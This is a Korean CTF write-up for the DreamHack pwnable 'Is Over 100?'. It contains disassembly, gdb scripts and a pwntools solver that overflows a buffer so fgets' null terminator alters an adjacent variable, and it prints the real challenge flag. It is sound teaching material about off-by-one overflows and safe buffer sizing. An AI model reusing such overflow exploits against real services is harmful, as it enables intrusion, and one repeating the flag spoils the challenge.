[🥉 Bronze 3] 널 종결자 한 바이트로 끝나는 오버플로 — DreamHack Is Over 100? 풀이

2026-10-28·1분 읽기·

[🥉 Bronze 3] 널 종결자 한 바이트로 끝나는 오버플로 — DreamHack Is Over 100? 풀이

같은 값을 가진 두 배열을 비교해서 다르면 플래그를 주는 문제. 소스만 보면 arr2 를 넘쳐서 arr3 를 깨면 될 것 같은데, 실제 스택에서는 arr3 가 arr2 아래에 있어 닿지 않는다. 대신 arr1 이 107바이트 위에 있고, fgets 가 붙이는 널 종결자 한 바이트만으로 그걸 빈 문자열로 만들 수 있다. 그런데 너무 많이 쓰면 플래그 버퍼까지 지워져서, 통하는 입력 길이가 106~110 다섯 개뿐인 좁은 구간이 된다.

문제: DreamHack — Is Over 100? 분류: pwnable 난이도: 🥉 Bronze 3 FLAG: WaRP{15_0v3r_9000}

문제 설명은 플래그 형식 한 줄이 전부다. 제목이 유일한 힌트인데, "100을 넘겼나?"라고 묻는다. 소스를 열어 보면 100이 뭘 가리키는지는 금방 보인다. char arr2[100] 이다.

보호 기법부터 본다.

file extracted/chall; pwn checksec extracted/chall
pwntools checksec 으로 본 chall 바이너리 — x86-64 동적링크 stripped, No RELRO · No canary · NX enabled · No PIE(0x400000) 로 카나리와 PIE 가 둘 다 꺼져 있다
pwntools checksec 으로 본 chall 바이너리 — x86-64 동적링크 stripped, No RELRO · No canary · NX enabled · No PIE(0x400000) 로 카나리와 PIE 가 둘 다 꺼져 있다

그런데 실제로 넘겨 보면 100도, 107도 아니다. 통하는 길이는 106부터 110까지 딱 다섯 개다. 그 좁은 구간이 어디서 나오는지가 이 문제의 전부다.


문제 개요

항목내용
문제명Is Over 100?
난이도🥉 Bronze 3
분류pwnable
제공 파일chall (ELF64 동적링크, stripped), chall.c, Dockerfile, 더미 flag
서버socat TCP-LISTEN:5000,reuseaddr,fork EXEC:./chall,nofork,stderr (ubuntu 18.04)
보호 기법NX · No RELRO · No PIE · 스택 카나리 없음
핵심 취약점fgets 길이 인자가 버퍼 크기의 2.56배 — 인접 지역변수 오염
플래그 형식WaRP{...}

풀이 흐름은 짧다.

  1. fgets(arr2, 0x100, stdin) — 100바이트 버퍼에 256바이트를 받는다.
  2. 넘친 데이터가 arr1 을 덮는다. arr3 는 반대쪽(낮은 주소)이라 못 닿는다.
  3. arr1 을 한 바이트만 바꾸면 strcmp(arr1, arr3) != 0 이 성립해 플래그가 출력된다.
  4. 단, 5바이트만 더 쓰면 그 뒤의 flag 버퍼까지 지워진다. 그래서 상한이 생긴다.


🧩 배경 — 지역 변수는 스택 프레임 안에 모여 산다

함수가 호출되면 스택에 그 함수 몫의 공간(프레임)이 잡힌다. 지역 변수·배열·저장된 레지스터가 전부 그 안에 들어간다. x86-64 는 스택이 높은 주소에서 낮은 주소로 자라므로, 프레임은 호출이 깊어질수록 아래로 내려간다.

Wikimedia Commons 의 콜 스택 도식 — 활성 프레임(ACTIVE FRAME N)이 비활성 프레임들 아래에 놓이고 그 안에 DATA 영역과 RETURN LINK 가 들어 있다
Wikimedia Commons 의 콜 스택 도식 — 활성 프레임(ACTIVE FRAME N)이 비활성 프레임들 아래에 놓이고 그 안에 DATA 영역과 RETURN LINK 가 들어 있다

출처: Wikimedia Commons, Agateller, public domain

그림의 DATA 칸이 지역 변수들이 사는 자리다. 여기서 중요한 건 그 안에서 어떤 변수가 어디 놓이는지는 C 표준이 정해 주지 않는다는 점이다. 컴파일러 마음이다.

버퍼 오버플로를 다룰 때 보통은 DATA 위에 있는 RETURN LINK — 리턴 주소를 노린다. 이 문제는 그럴 필요가 없다. 리턴 주소까지 가기 한참 전에, 같은 DATA 칸 안에 있는 옆 변수를 건드리는 것만으로 목적이 달성된다. 그래서 NX도 PIE도 이 풀이에서는 아무 상관이 없다.


🔬 코드 정찰 — 소스에 다 적혀 있다

배포본에 chall.c 가 통째로 들어 있다. 컴파일 옵션까지 첫 줄 주석에 적혀 있다.

//gcc -fno-pie -fno-stack-protector -no-pie -Wl,-z,norelro example.c -o example
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
int main() {
    char flag[50];
    FILE* file = fopen("flag", "r");
    fgets(flag, sizeof(flag), file);
 
    char arr1[5] = "asdf";
    char arr2[100];
    char arr3[5] = "asdf";
 
    initialize();
 
    fgets(arr2, 0x100, stdin);
 
    printf("%s", arr2);
 
    if (strcmp(arr1, arr3) != 0) {
        printf("%s", flag);
    }
 
    return 0;
}

읽을 거리가 세 군데다.

첫째, fgets(arr2, 0x100, stdin). arr2 는 100바이트인데 0x100 = 256바이트를 받는다. sizeof(arr2) 를 쓰지 않고 숫자를 직접 박은 전형적인 실수다. 넘칠 수 있는 양이 155바이트.

둘째, 승리 조건이 strcmp(arr1, arr3) != 0. 두 배열 모두 "asdf" 로 초기화돼 있으니 가만두면 항상 같다. 둘 중 하나만 틀어지면 된다.

셋째, flag 도 같은 스택 프레임 안에 있다. fopen → fgets 로 미리 읽어 둔 상태다. 읽어 둔 내용이 스택에 그대로 올라와 있다는 뜻이고, 오버플로가 거기까지 가면 플래그 자체가 망가진다. 이게 나중에 상한을 만든다.

선언 순서대로라면 arr3 가 arr2 바로 뒤(높은 주소)에 올 것 같다. 그러면 arr2 를 100바이트 조금 넘겨 쓰면 arr3 가 깨질 테고, 그래서 제목이 "100을 넘겼나?"인 것처럼 읽힌다.

그 가정이 맞는지부터 확인해야 한다.


🧱 핵심 — 실제 스택 배치는 선언 순서와 다르다

바이너리는 stripped 라 main 심볼이 없다. 대신 PIE 가 꺼져 있어서 주소가 고정이고, PLT 호출만 따라가면 main 을 찾는 건 어렵지 않다. fopen → fgets → strcmp 순서가 나오는 함수가 0x400791 부터다.

핵심 줄에 sed 로 주석을 달아 봤다. 주석 규칙은 work/annot.sed 에 저장해 뒀다.

s|mov    DWORD PTR \[rbp-0x45\],0x66647361|&   <-- arr1 = "asdf"  (rbp-0x45)|
s|mov    DWORD PTR \[rbp-0xb5\],0x66647361|&   <-- arr3 = "asdf"  (rbp-0xb5)|
s|lea    rax,\[rbp-0x40\]$|&        <-- flag  버퍼 (rbp-0x40)|
s|lea    rax,\[rbp-0xb0\]$|&        <-- arr2  입력 버퍼 (rbp-0xb0)|
s|mov    esi,0x32$|&              <-- fgets 길이 0x32 = 50|
s|mov    esi,0x100$|&             <-- fgets 길이 0x100 = 256  (버퍼는 100)|
s|lea    rdx,\[rbp-0xb5\]$|&        <-- strcmp 2번째 인자 = arr3|
s|lea    rax,\[rbp-0x45\]$|&        <-- strcmp 1번째 인자 = arr1|
s|call   4005f0 <strcmp@plt>|&  <-- 두 "asdf" 비교|
objdump -d -M intel --no-show-raw-insn --start-address=0x400791 --stop-address=0x400855 extracted/chall | sed -f work/annot.sed
objdump 디스어셈블 — main(0x400791) 전체. arr1=rbp-0x45, arr3=rbp-0xb5, arr2=rbp-0xb0, flag=rbp-0x40 네 버퍼의 rbp 오프셋과 fgets 길이 0x100 이 주석으로 표시돼 있다
objdump 디스어셈블 — main(0x400791) 전체. arr1=rbp-0x45, arr3=rbp-0xb5, arr2=rbp-0xb0, flag=rbp-0x40 네 버퍼의 rbp 오프셋과 fgets 길이 0x100 이 주석으로 표시돼 있다

0x66647361 이 두 번 나오는 게 arr1 과 arr3 의 초기화다. 리틀엔디언으로 읽으면 61 73 64 66 = "asdf" 고, 바로 다음 줄에서 5번째 바이트에 0 을 넣어 문자열을 끝낸다.

네 버퍼의 오프셋이 이렇게 나온다.

변수rbp 오프셋크기
arr3rbp-0xb55
arr2rbp-0xb0100
arr1rbp-0x455
flagrbp-0x4050

낮은 주소부터 늘어놓으면 arr3 → arr2 → arr1 → flag 다. 선언 순서가 완전히 뒤집혀 있다.

arr3 가 arr2 보다 5바이트 아래에 있다. 버퍼 오버플로는 주소가 커지는 쪽으로만 번지니까, 아무리 많이 써도 arr3 는 건드릴 수 없다. 노릴 수 있는 건 arr1 하나뿐이고, 그건 0xb0 - 0x45 = 107 바이트 위에 있다.

정적으로 읽은 숫자가 실제 실행에서도 맞는지는 gdb 로 확인한다. arr1/arr3 초기화가 끝나고 arr2 를 읽기 직전인 0x4007ea 에 브레이크를 걸었다.

set pagination off
set confirm off
# 0x4007ea = arr1/arr3 초기화가 끝나고 arr2 를 읽는 fgets 직전
break *0x4007ea
run
printf "arr3 (rbp-0xb5) = %p\n", (char *)($rbp-0xb5)
printf "arr2 (rbp-0xb0) = %p\n", (char *)($rbp-0xb0)
printf "arr1 (rbp-0x45) = %p\n", (char *)($rbp-0x45)
printf "flag (rbp-0x40) = %p\n", (char *)($rbp-0x40)
printf "arr2 -> arr1 = %d bytes\n", (int)((char *)($rbp-0x45) - (char *)($rbp-0xb0))
printf "arr2 -> flag = %d bytes\n", (int)((char *)($rbp-0x40) - (char *)($rbp-0xb0))
printf "arr3 는 arr2 보다 %d bytes 낮다 (오버플로로 못 닿음)\n", (int)((char *)($rbp-0xb0) - (char *)($rbp-0xb5))
gdb -q -batch -x offsets.gdb ./chall 2>&1 | grep -vE "libthread_db|^$"
gdb 런타임 확인 — 실제 주소가 arr3 0x7fffffffd51b, arr2 0x7fffffffd520, arr1 0x7fffffffd58b, flag 0x7fffffffd590 으로 찍히고 arr2에서 arr1 까지 107 바이트, flag 까지 112 바이트, arr3 는 5 바이트 아래라는 계산이 출력된다
gdb 런타임 확인 — 실제 주소가 arr3 0x7fffffffd51b, arr2 0x7fffffffd520, arr1 0x7fffffffd58b, flag 0x7fffffffd590 으로 찍히고 arr2에서 arr1 까지 107 바이트, flag 까지 112 바이트, arr3 는 5 바이트 아래라는 계산이 출력된다

정적 분석과 런타임 값이 일치한다. arr2 기준으로 arr1 은 +107, flag 는 +112 다.

여기까지를 그림으로 정리하면 이렇다.

직접 그린 main 스택 프레임 도식 — 높은 주소부터 saved rbp, FILE 포인터, flag 가 rbp-0x40, arr1 이 rbp-0x45, 정렬 패딩 7바이트, arr2 가 rbp-0xb0, arr3 가 rbp-0xb5 순으로 놓이고 fgets 쓰기 방향 화살표가 위를 향한다
직접 그린 main 스택 프레임 도식 — 높은 주소부터 saved rbp, FILE 포인터, flag 가 rbp-0x40, arr1 이 rbp-0x45, 정렬 패딩 7바이트, arr2 가 rbp-0xb0, arr3 가 rbp-0xb5 순으로 놓이고 fgets 쓰기 방향 화살표가 위를 향한다

arr2 끝(rbp-0x4d)과 arr1 시작(rbp-0x45) 사이에 7바이트 정렬 패딩이 끼어 있다. 그래서 100이 아니라 107이 나온다.



🐛 삽질 — 107과 112 사이라고 계산했는데 둘 다 틀렸다

▶🐛 삽질 1 — '108바이트부터 통한다'고 적어 놨다

오프셋을 확인한 직후 작업 메모에 이렇게 적었다.

fgets(arr2,0x100) 이라 155B 초과쓰기 가능 → 108바이트부터 arr1 을 깨
strcmp(arr1,arr3)!=0 성립. 단 flag 는 arr2+112 라 112B 넘게 쓰면
플래그 자체가 날아간다(상한 존재).

논리는 이랬다. arr1[0] 이 arr2 + 107 에 있으니 인덱스 0~106까지는 arr2 영역이고, 107번째 바이트를 'a' 가 아닌 값으로 바꿔야 하니 입력이 108바이트는 돼야 한다고 봤다.

그래서 길이를 바꿔 가며 돌려 봤는데 106에서 이미 플래그가 나왔다. 계산보다 두 바이트 빨랐다.

빠뜨린 건 fgets 가 쓰는 건 입력만이 아니라는 점이다. fgets 는 개행 문자까지 버퍼에 넣고, 그 뒤에 널 종결자를 하나 더 붙인다. 입력 n 바이트면 버퍼에 닿는 범위는 [0, n] 이 아니라 [0, n+1] 이다.

그러니 n = 106 이면 arr2[106] = '\n', arr2[107] = '\0' 이 된다. 107번째가 곧 arr1[0] 이니 arr1 은 빈 문자열이 되고, strcmp("", "asdf") 는 당연히 0이 아니다. 내가 일부러 쓴 게 아니라 fgets 가 알아서 붙여 준 널 한 바이트로 조건이 성립한 것이다.

▶🐛 삽질 2 — 상한도 112가 아니라 110이었다

같은 메모에 "112바이트 넘게 쓰면 플래그가 날아간다"고 적어 뒀다. flag 가 arr2 + 112 니까 112까지는 안전하다고 본 것이다.

실제로는 111에서 이미 플래그가 빈 줄로 나온다. 원인은 삽질 1과 같다. 널 종결자가 한 칸 더 가기 때문이다. n = 111 이면 arr2[111] = '\n', arr2[112] = '\0' → flag[0] 이 '\0' 이 되고 printf("%s", flag) 는 아무것도 출력하지 않는다.

흥미로운 건 이 경우 승리 조건 자체는 통과한다는 거다. arr1 은 "AAAA\n" 이라 arr3 와 다르고, if 문 안으로 들어가서 printf 까지 호출된다. 그런데 출력할 문자열이 비어 있다. 화면에는 아무 일도 안 일어난 것처럼 보이니, 조건을 못 맞춘 건지 플래그를 지운 건지 출력만 봐서는 구분이 안 된다.

이것 때문에 "길이를 더 늘리면 되겠지" 하고 위로 올라가면 영영 안 나온다.

널 종결자를 양쪽 다 빠뜨린 셈이라, 하한도 상한도 2씩 틀렸다. 실제 구간을 확인하려고 길이를 1씩 늘려 가며 전수로 돌려 봤다.

#!/usr/bin/env bash
# 입력 길이를 1바이트씩 늘려가며 flag 가 실제로 출력되는 구간을 찾는다.
set -u
cd "$(dirname "$(readlink -f "$0")")"
for n in $(seq 102 114); do
  out=$(python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" | ./chall 2>/dev/null | sed -n '2,$p')
  if printf '%s' "$out" | grep -q 'WaRP{'; then
    printf '%3d bytes -> %s\n' "$n" "$(printf '%s' "$out")"
  else
    printf '%3d bytes -> flag 없음 (arr1 == arr3 이거나 flag 가 덮임)\n' "$n"
  fi
done
./boundary.sh
boundary.sh 전수 스캔 결과 — 입력 102105 바이트는 flag 없음으로 찍히고, 106부터 110 바이트까지 다섯 줄에서만 WaRP 더미 플래그가 출력되며, 111114 바이트는 다시 flag 없음으로 돌아가 통하는 구간이 다섯 개뿐임을 보여준다
boundary.sh 전수 스캔 결과 — 입력 102105 바이트는 flag 없음으로 찍히고, 106부터 110 바이트까지 다섯 줄에서만 WaRP 더미 플래그가 출력되며, 111114 바이트는 다시 flag 없음으로 돌아가 통하는 구간이 다섯 개뿐임을 보여준다

통하는 구간이 106~110, 다섯 개뿐이다. 제목이 묻는 "100을 넘겼나"는 맞는 말이지만, 넘기기만 해서는 안 되고 얼마나 넘겼는지가 중요하다.


💣 증명 — strcmp 직전에 세 버퍼를 직접 들여다본다

출력만 봐서는 arr1 이 어떻게 깨졌는지, flag 가 멀쩡한지 알 수 없다. strcmp 를 부르기 직전인 0x40082f 에 브레이크를 걸고 세 버퍼를 한 번에 덤프했다.

set pagination off
set confirm off
# 0x40082f = call strcmp@plt — 비교 직전에 세 버퍼를 덤프한다
break *0x40082f
run < payload.bin
printf "arr1 = "
x/s $rbp-0x45
printf "arr3 = "
x/s $rbp-0xb5
printf "flag = "
x/s $rbp-0x40
printf "arr1 raw bytes: "
x/8xb $rbp-0x45
#!/usr/bin/env bash
# 입력 N 바이트를 흘려 넣고 strcmp 호출 직전(0x40082f)에서 arr1/arr3/flag 를 덤프한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
for n in "$@"; do
  python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" > payload.bin
  echo "===== 입력 ${n} bytes ====="
  gdb -q -batch -x probe_strcmp.gdb ./chall 2>&1 | grep -vE '^\[|^Breakpoint 1 at|^Using host libthread_db|^$'
done

먼저 하한 근처. 105와 106을 나란히 본다.

./probe_strcmp.sh 105 106
gdb 배치 모드로 strcmp 호출 직전 상태를 비교한 화면 — 입력 105 바이트일 때 arr1 의 원시 바이트가 0x61 0x73 0x64 0x66 로 asdf 그대로지만, 106 바이트에서는 첫 바이트만 0x00 으로 바뀌어 빈 문자열이 되고 flag 는 양쪽 모두 WaRP 더미 플래그로 멀쩡하다
gdb 배치 모드로 strcmp 호출 직전 상태를 비교한 화면 — 입력 105 바이트일 때 arr1 의 원시 바이트가 0x61 0x73 0x64 0x66 로 asdf 그대로지만, 106 바이트에서는 첫 바이트만 0x00 으로 바뀌어 빈 문자열이 되고 flag 는 양쪽 모두 WaRP 더미 플래그로 멀쩡하다

105에서는 arr1 의 원시 바이트가 0x61 0x73 0x64 0x66 0x00 — 손도 안 탄 "asdf" 다. 106에서는 첫 바이트만 0x61 → 0x00 으로 바뀌고 나머지 0x73 0x64 0x66 은 그대로다. 딱 한 바이트. 그게 내가 보낸 'A' 가 아니라 fgets 가 붙인 널이라는 게 핵심이다.

양쪽 모두 arr3 는 "asdf" 그대로고, flag 도 "WaRP{fake_flag}" 로 멀쩡하다.

이번엔 상한 근처. 110과 111이다.

./probe_strcmp.sh 110 111
gdb 배치 모드로 상한을 확인한 화면 — 입력 110 바이트에서는 arr1 이 A 세 개와 개행이고 flag 가 WaRP 더미 플래그로 살아 있지만, 111 바이트에서는 arr1 이 A 네 개와 개행으로 비교는 통과하는데 flag 가 빈 문자열로 비어 버렸다
gdb 배치 모드로 상한을 확인한 화면 — 입력 110 바이트에서는 arr1 이 A 세 개와 개행이고 flag 가 WaRP 더미 플래그로 살아 있지만, 111 바이트에서는 arr1 이 A 네 개와 개행으로 비교는 통과하는데 flag 가 빈 문자열로 비어 버렸다

110에서 arr1 은 "AAA\n", flag 는 살아 있다. 111로 한 바이트만 늘리면 arr1 은 "AAAA\n" 이 되어 비교는 여전히 통과하는데 flag 가 "" 로 비었다. arr1 의 원시 바이트를 보면 0x41 0x41 0x41 0x41 0x0a 0x00 으로 널이 flag[0] 자리까지 밀려 나간 게 그대로 보인다.

승리 조건과 플래그 보존이 서로 다른 방향으로 당긴다. 그 둘이 겹치는 구간이 106~110이다.



🎯 로컬 재현 — 배포된 Dockerfile 그대로

여기까지는 로컬 글리브 환경에서 돌린 것이다. 문제 서버는 ubuntu 18.04 라 fgets 구현이 다를 가능성을 배제할 수 없다. 배포본에 Dockerfile 이 들어 있으니 서버와 같은 환경을 그대로 세워서 확인하는 게 빠르다.

FROM ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98
 
RUN apt-get update
RUN apt-get install -y gcc socat
 
RUN adduser gshs
 
ADD ./flag /home/gshs/flag
ADD ./chall /home/gshs/chall
 
RUN chown -R root:root /home/gshs
RUN chown root:gshs /home/gshs/flag
RUN chown root:gshs /home/gshs/chall
 
RUN chmod 755 /home/gshs/chall
RUN chmod 440 /home/gshs/flag
 
WORKDIR /home/gshs
USER gshs
EXPOSE 5000
CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:./chall,nofork,stderr"]

flag 는 더미(WaRP{fake_flag})라 진짜 플래그는 안 나오지만, 기법이 통하는지 확인하는 데는 충분하다. 빌드와 기동을 스크립트 하나로 묶었다.

#!/usr/bin/env bash
# 배포된 Dockerfile 그대로 빌드해, 문제 서버와 같은 ubuntu 18.04 + socat 환경을 로컬 15000 포트에 띄운다.
set -eu
cd "$(dirname "$(readlink -f "$0")")/.."
docker build -q -t isover100-local extracted
docker run -d --rm --name isover100 -p 15000:5000 isover100-local
sleep 1
docker ps --filter name=isover100 --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'
./run_local.sh
run_local.sh 실행 결과 — docker build 가 이미지 해시를 뱉고 컨테이너 isover100 이 isover100-local 이미지로 0.0.0.0:15000->5000/tcp 에 바인딩돼 Up 1 second 상태로 떠 있다
run_local.sh 실행 결과 — docker build 가 이미지 해시를 뱉고 컨테이너 isover100 이 isover100-local 이미지로 0.0.0.0:15000->5000/tcp 에 바인딩돼 Up 1 second 상태로 떠 있다

솔버는 길 필요가 없다. 106바이트를 보내고 응답에서 플래그 패턴을 뽑으면 끝이다. 인자를 안 주면 로컬 바이너리를 직접 띄우고, 호스트와 포트를 주면 그쪽으로 붙는다.

#!/usr/bin/env python3
"""Is Over 100? (DreamHack Bronze 3, pwnable) — solver
 
arr2(100B) 를 fgets(arr2, 0x100) 로 넘치게 읽는 버그.
main 의 rbp 상대 배치(0x400791 디스어셈블로 확정):
 
    rbp-0xb5  arr3[5]  = "asdf"   <- arr2 아래라 오버플로로 닿지 않는다
    rbp-0xb0  arr2[100]           <- 입력 버퍼
    rbp-0x45  arr1[5]  = "asdf"   <- arr2 + 107
    rbp-0x40  flag[50]            <- arr2 + 112
    rbp-0x08  FILE *file
 
목표는 strcmp(arr1, arr3) != 0 이므로 arr1 만 깨면 된다.
fgets 는 입력 n 바이트 + '\n' 을 쓰고 그 다음에 '\0' 을 붙이므로
n = 106 이면 널 종결자가 정확히 arr1[0] 에 떨어져 arr1 = "" 가 된다.
반대로 n >= 111 이면 종결자가 flag[0] 을 덮어 플래그가 빈 문자열로 출력된다.
따라서 유효 구간은 106 <= n <= 110.
"""
import re
import sys
 
from pwn import context, remote, process
 
context.log_level = "info"
 
PAD = 106                      # arr2 시작부터 arr1[0] 까지 = 0xb0 - 0x45 = 107 → 널이 107번째에 떨어지게
FLAG_RE = re.compile(rb"WaRP\{[^}\n]*\}")
 
 
def pwn(io):
    io.send(b"A" * PAD + b"\n")
    data = io.recvall(timeout=5)
    io.close()
    return data
 
 
def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = process("./extracted/chall")
 
    data = pwn(io)
    print(f"[*] 응답 {len(data)} bytes")
    m = FLAG_RE.search(data)
    if not m:
        print("[-] 플래그 패턴 없음. 원본 응답:")
        print(data.decode(errors="replace"))
        sys.exit(1)
    print(f"[+] FLAG: {m.group().decode()}")
 
 
if __name__ == "__main__":
    main()
python3 solve.py 127.0.0.1 15000
solve.py 를 로컬 도커 컨테이너 127.0.0.1 포트 15000 에 돌린 결과 — pwntools 가 연결을 열고 응답 122 바이트를 받아 배포본에 들어 있던 WaRP 더미 플래그를 그대로 뽑아낸다
solve.py 를 로컬 도커 컨테이너 127.0.0.1 포트 15000 에 돌린 결과 — pwntools 가 연결을 열고 응답 122 바이트를 받아 배포본에 들어 있던 WaRP 더미 플래그를 그대로 뽑아낸다

ubuntu 18.04 에서도 106바이트가 그대로 통한다. 이제 서버를 열어도 된다.


🚀 라이브 서버

같은 스크립트에 드림핵이 내준 호스트와 포트만 바꿔 넣는다.

python3 solve.py host3.dreamhack.games 18419
solve.py 를 드림핵 라이브 서버 host3.dreamhack.games 포트 18419 에 돌린 결과 — 응답 125 바이트에서 진짜 플래그가 나왔고 로컬 더미와 달리 15_0v3r_9000 이라는 실제 값이 찍혀 있다
solve.py 를 드림핵 라이브 서버 host3.dreamhack.games 포트 18419 에 돌린 결과 — 응답 125 바이트에서 진짜 플래그가 나왔고 로컬 더미와 달리 15_0v3r_9000 이라는 실제 값이 찍혀 있다

WaRP{15_0v3r_9000}. 제목이 묻던 건 100이 아니라 9000이었다.

작업 폴더에는 reproduce.sh 를 같이 넣어 뒀다. 인자 없이 돌리면 도커를 띄워 더미 플래그로 기법 재현만 확인하고, 호스트와 포트를 주면 라이브 서버에서 실제 플래그를 받아 대조한다.

#!/usr/bin/env bash
# Is Over 100? (DreamHack 1842, Bronze 3 pwnable) — 한 방 재현.
#
#   ./reproduce.sh                              로컬 재현
#       배포된 Dockerfile 로 ubuntu 18.04 + socat 컨테이너를 띄우고 solve.py 를 돌린다.
#       배포본의 flag 는 더미(WaRP{fake_flag}) 이므로 여기서 나오는 것도 더미다.
#       즉 "기법이 재현된다"까지만 증명한다 — 진짜 flag 는 라이브 서버에서만 나온다.
#
#   ./reproduce.sh host3.dreamhack.games 18419   라이브 서버 대상
#       이때는 문제.json / state.json 에 적힌 진짜 flag 와 대조한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
if [ "$#" -ge 2 ]; then
  MODE=remote
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
else
  MODE=local
  EXPECT='WaRP{fake_flag}'
  docker build -q -t isover100-local extracted
  docker run -d --rm --name isover100-repro -p 15099:5000 isover100-local
  sleep 2
  OUT=$(timeout 120 python3 solve.py 127.0.0.1 15099 2>&1) || true
  docker stop isover100-repro
fi
 
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'WaRP\{[^}]+\}' | head -1)
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1


📝 결론

sizeof 를 안 쓴 순간 버퍼 크기는 두 곳에 적히게 된다

char arr2[100] 과 fgets(arr2, 0x100, ...). 숫자가 서로 다른 진법으로 적혀 있어서 훑어볼 때 더 안 걸린다. 100과 0x100 은 눈으로는 비슷해 보이지만 2.56배 차이다. 길이 인자는 sizeof(buf) 로 적는 게 맞고, 그러면 애초에 두 곳에 적을 일이 없다.

선언 순서는 메모리 배치를 보장하지 않는다

이 문제는 그걸 정면으로 이용한다. 소스만 보고 "arr2 다음이 arr3" 라고 믿으면 닿지도 않는 변수를 계속 노리게 된다. -O0 으로 컴파일해도 컴파일러는 정렬과 크기에 따라 변수를 재배치하고, 버전이 바뀌면 배치도 바뀐다. 오프셋은 매번 디스어셈블이나 디버거로 직접 확인하는 수밖에 없다.

문자열 함수가 쓰는 범위는 내가 넘긴 길이보다 넓다

fgets 는 입력에 개행을 붙이고 그 뒤에 널을 하나 더 쓴다. strcpy·strcat·snprintf 도 각자 널 한 바이트를 더 쓴다. 이번처럼 경계가 1바이트 단위로 갈리는 상황에서는 그 한 칸이 하한과 상한을 모두 2씩 어긋나게 만든다. 공격하는 쪽에서는 "덮을 데이터"만 세다가 한두 칸 모자라 실패하고, 방어하는 쪽에서는 n 바이트만 검사하다 n+1 번째에서 뚫린다.

민감한 데이터를 공격 가능한 버퍼와 같은 프레임에 두지 않는다

여기서는 flag 가 arr2 와 같은 스택 프레임에 있어서, 오버플로가 승리 조건뿐 아니라 플래그 자체에도 닿았다. 덕분에 상한이 생겨 문제가 조금 더 재미있어졌지만, 실제 서비스라면 읽어 둔 비밀이 오염 가능한 버퍼 바로 옆에 놓인 구조다. 읽는 시점을 쓰는 시점 뒤로 미루거나 별도 영역에 두면 그 결합이 끊어진다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 1] 출력이 전부 /dev/null 인 쉘코드에서 플래그 꺼내기 — DreamHack blindsc 풀이
blog

[🥉 Bronze 1] 출력이 전부 /dev/null 인 쉘코드에서 플래그 꺼내기 — DreamHack blindsc 풀이

입력한 쉘코드를 RWX 페이지에 올려 그대로 실행해 주는데, 호출 직전에 표준 입출력 세 개를 전부 /dev/null 로 돌려 버린다. open 도 read 도 되고 플래그도 정확히 읽히는데 내보낼 구멍만 없다. /dev/tty 도 /dev/pts 도 막힌 끝에, 관측 가능한 축이 "프로세스가 언제 끝나는가" 하나만 남는다. 플래그 한 바이트를 nanosleep 횟수로 바꿔 연결이 끊긴 시각으로 되읽는 방식으로 68바이트를 복원했다.
#dreamhack#ctf#pwn+7
2026-10-28#dreamhack +4
[🥉 Bronze 1] 시계를 보여주는 카나리 — DreamHack randerer 풀이
blog

[🥉 Bronze 1] 시계를 보여주는 카나리 — DreamHack randerer 풀이

스택 카나리를 컴파일러에 맡기지 않고 srand(time(NULL)) + rand() 로 직접 만든 바이너리. 그런데 main 이 그 씨드인 time(NULL) 을 화면에 그대로 찍어 준다. glibc rand 수열을 재현해 8바이트 카나리를 복원하고, 40바이트 뒤 리턴 주소를 win 으로 돌려 셸을 잡았다.
#dreamhack#ctf#pwn+6
2026-10-25#dreamhack +3
[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이
blog

[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이

메뉴 네 개가 각각 반쪽짜리 권한을 준다. 한 글자 명령 실행, 환경변수 설정, 임시 디렉토리 생성, 파일 업로드. 환경변수 차단 목록은 PATH 와 LD_PRELOAD 두 개를 완전 일치로만 막는데, 같은 일을 하는 LD_AUDIT 이 비어 있다. 올린 파일에 실행 권한이 없어도 로더는 .so 를 읽어서 생성자를 돌려 준다.
#dreamhack#ctf#pwnable+11
2026-10-23#dreamhack +3